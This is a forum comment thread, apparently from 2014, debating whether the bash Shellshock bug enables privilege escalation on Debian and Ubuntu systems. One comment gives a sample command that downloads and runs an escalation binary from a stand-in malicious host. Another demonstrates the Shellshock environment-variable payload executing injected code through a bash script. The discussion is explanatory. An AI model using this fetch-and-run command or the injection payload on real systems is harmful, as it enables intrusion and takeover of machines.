5 ms·

Major impact of this is elevating privileges, both Debian and Ubuntu will be impacted just like any other system. I don't think anybody is worried about softwa

• dllthomas 12y ago
  Where is the privilege escalation? I get the same results from running id through tripping the bug as I do from running id directly. Edited to add: Also no differences in capabilities when I cat /proc/self/status None of which is to say there is clearly no such vulnerability - I'd just like to understand it if there is.
  • sophacles 12y ago
    Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example: curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin could be the payload. This will download then run a secondary attack binary. Then the attacker wins.
    • dllthomas 12y ago
      That's true of any code execution vulnerability, though - it seems odd to call out the privilege elevation specifically. If that's all the GP meant, then sure, I fully grok.
      • sophacles 12y ago
        I think it comes down to a jargon vs technical language thing. In formal settings arbitrary code execution is a different thing from privilege escalation. In casual jargony talk though, security guys tend to equate code execution with privilege escalation with box ownage. Basically it goes "why would anyone not follow the execution -> escalation -> own path?" It's such an automatic assumption, combined with the basic premise of "there's no such thing as a secure computer", that the exact details are a hand-wave. This comes from the repeated demonstration that it's almost always true.
        • dllthomas 12y ago
          None of this seems crazy unlikely, but I'd still like to hear a confirmation that that's what was meant. Especially since korzun was talking specifically about Debian and Ubuntu where bash is only used as a login shell and so presumably those with access could already just run the app.
          • sophacles 12y ago
            There are unfortunately lots of bad scripts in the world that start with: #!/bin/bash So for example, with a foo.sh script of: #!/bin/bash echo "loser!" Then for example: vagrant@ubuntu-14:~/bin$ X='() { :; }; echo foo' python Python 2.7.6 (default, Mar 22 2014, 22:59:56) [GCC 4.8.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.system("./foo.sh") foo loser! 0 >>> import subprocess >>> subprocess.Popen("./foo.sh") <subprocess.Popen object at 0x7f04a115f350> >>> foo loser! It should be noted that if the shebang is #!/bin/sh this doesn't work when sh == dash, but given that this wiki page exists on ubuntu: https://wiki.ubuntu.com/DashAsBinSh https://wiki.ubuntu.com/DashAsBinSh That recommends changing broken scripts to #!/bin/bash or changing to sh == bash as solutions. I would guess that there are going to be plenty of easily vulnerable debian/ubuntu systems. More importantly though, it literally does not matter if this bug is "directly privilege escalating" or "1 step removed privilege escalating", the are fundamentally the same thing. It doesn't matter in any case where a script is executed with bash instead of dash.
            • dllthomas 12y ago
              'More importantly though, it literally does not matter if this bug is "directly privilege escalating" or "1 step removed privilege escalating", the are fundamentally the same thing. It doesn't matter in any case where a script is executed with bash instead of dash.' It doesn't matter for security. It matters a lot for my understanding of what's going on.
      • fragmede 12y ago
        Most code executions vulnerabilities aren't remotely accessible, which this is, which makes priv-escalation particularly nasty. (eg: incorrectly assuming that since www-data user doesn't have access to anything sensitive, this bug isn't a big deal)
        • dllthomas 12y ago
          Is it remotely accessible on systems where sh is dash, though? That's specifically what was under discussion.
          • agwa 12y ago
            Yes, potentially - if at any point during the execution of a program (or its descendents) a bash script gets called with an untrusted environment variable value from a remote source. The difference between a system with bash as /bin/sh and a system with dash as /bin/sh is that the bash system is implicitly executing bash all the time, whereas the dash system requires an explicitly-bash script to be executed. So the dash system has many fewer windows of opportunity for an exploit, but they could still be there.
            • dllthomas 12y ago
              Well, sure. It seems a slightly odd way to phrase it if that's the entirety of what korzun meant, though. Is there somewhere that happens in a typical out-of-the-box Debian or Ubuntu box?
  • korzun 12y ago
    Privilege escalation is not static. I know systems where bash has been patched to allow execution by certain users, etc. With this, you can inject commands before such check takes place. Etc.
    • dllthomas 12y ago
      Hm, so only if bash is chmod or granted capabilities, absent exploiting some other vulnerability? I'd read you as saying more - no worries.